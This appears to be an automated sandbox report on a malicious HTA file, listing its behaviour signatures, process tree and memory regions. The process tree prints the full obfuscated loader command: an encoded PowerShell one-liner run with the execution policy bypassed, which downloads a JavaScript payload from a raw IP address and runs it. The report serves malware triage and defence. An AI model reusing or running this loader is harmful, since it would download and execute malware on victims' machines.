Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/08/2026, 12:11

General

  • Target
    givingbesthingsforbetterforme.hta
  • Size 14KB
  • Sample260813-pcwnmax1ax
  • SHA256 1f3c811e542fc56d00a8fa94afa370068f786725e835fbbb5442713293d2a381
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\givingbesthingsforbetterforme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c PoWeRsHeLL -ex BYpass -nOP -W 1 -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAdwBHAGUAdAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdIGgAdAB0AHAAOgAvAC8AMgAwADkALgA1ADQALgAxADAAMwAuADEANQAzAC8ANQAwAC8AdwBlAG4AZQBlAGQAYgBlAHMAdAB0AGgAaQBuAGcAcwBmAHIAbwBtAHQAaABlAGgAZQBhAHIAdABmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAC0ATwB1AHQAZgBJAEwAZQAgAAkACQAJACAACQAgAAkAIAAJAAkAIAAJAAkAIAAgAAkAIAAgAB0gJABFAG4AVgA6AEEAcABwAEQAYQBUAGEAXAB3AGUAbgBlAGUAZABiAGUAcwB0AHQAaABpAG4AZwBzAGYAcgBvAG0AdABoAGUAaABlAGEAcgB0AGYAbwByAGIAZQBzAHQALgBqAHMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJACYAIAAJACAAIAAgAAkAIAAJACAAIAAdICQARQBOAHYAOgBBAHAAUABkAEEAVABBAFwAdwBlAG4AZQBlAGQAYgBlAHMAdAB0AGgAaQBuAGcAcwBmAHIAbwBtAHQAaABlAGgAZQBhAHIAdABmAG8AcgBiAGUAcwB0AC4AagBzAB0g "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4272
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWeRsHeLL -ex BYpass -nOP -W 1 -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAdwBHAGUAdAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdIGgAdAB0AHAAOgAvAC8AMgAwADkALgA1ADQALgAxADAAMwAuADEANQAzAC8ANQAwAC8AdwBlAG4AZQBlAGQAYgBlAHMAdAB0AGgAaQBuAGcAcwBmAHIAbwBtAHQAaABlAGgAZQBhAHIAdABmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAC0ATwB1AHQAZgBJAEwAZQAgAAkACQAJACAACQAgAAkAIAAJAAkAIAAJAAkAIAAgAAkAIAAgAB0gJABFAG4AVgA6AEEAcABwAEQAYQBUAGEAXAB3AGUAbgBlAGUAZABiAGUAcwB0AHQAaABpAG4AZwBzAGYAcgBvAG0AdABoAGUAaABlAGEAcgB0AGYAbwByAGIAZQBzAHQALgBqAHMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJACYAIAAJACAAIAAgAAkAIAAJACAAIAAdICQARQBOAHYAOgBBAHAAUABkAEEAVABBAFwAdwBlAG4AZQBlAGQAYgBlAHMAdAB0AGgAaQBuAGcAcwBmAHIAbwBtAHQAaABlAGgAZQBhAHIAdABmAG8AcgBiAGUAcwB0AC4AagBzAB0g "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4724

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_m1wz1jmr.ovd.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1wz1jmr.ovd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4724-6-0x00000000056E0000-0x0000000005746000-memory.dmp

        memory/4724-14-0x0000000005750000-0x0000000005AA4000-memory.dmp

        memory/4724-3-0x0000000004E10000-0x0000000005438000-memory.dmp

        memory/4724-4-0x0000000004D70000-0x0000000004D92000-memory.dmp

        memory/4724-5-0x0000000005670000-0x00000000056D6000-memory.dmp

        memory/4724-0-0x0000000002740000-0x0000000002750000-memory.dmp

        memory/4724-1-0x0000000002750000-0x0000000002786000-memory.dmp

        memory/4724-2-0x0000000002740000-0x0000000002750000-memory.dmp

        memory/4724-15-0x0000000005D40000-0x0000000005D5E000-memory.dmp

        memory/4724-16-0x0000000005D60000-0x0000000005DAC000-memory.dmp

        memory/4724-17-0x0000000007380000-0x00000000079FA000-memory.dmp

        memory/4724-18-0x0000000006230000-0x000000000624A000-memory.dmp

        memory/4724-19-0x0000000002740000-0x0000000002750000-memory.dmp

        memory/4724-20-0x0000000002740000-0x0000000002750000-memory.dmp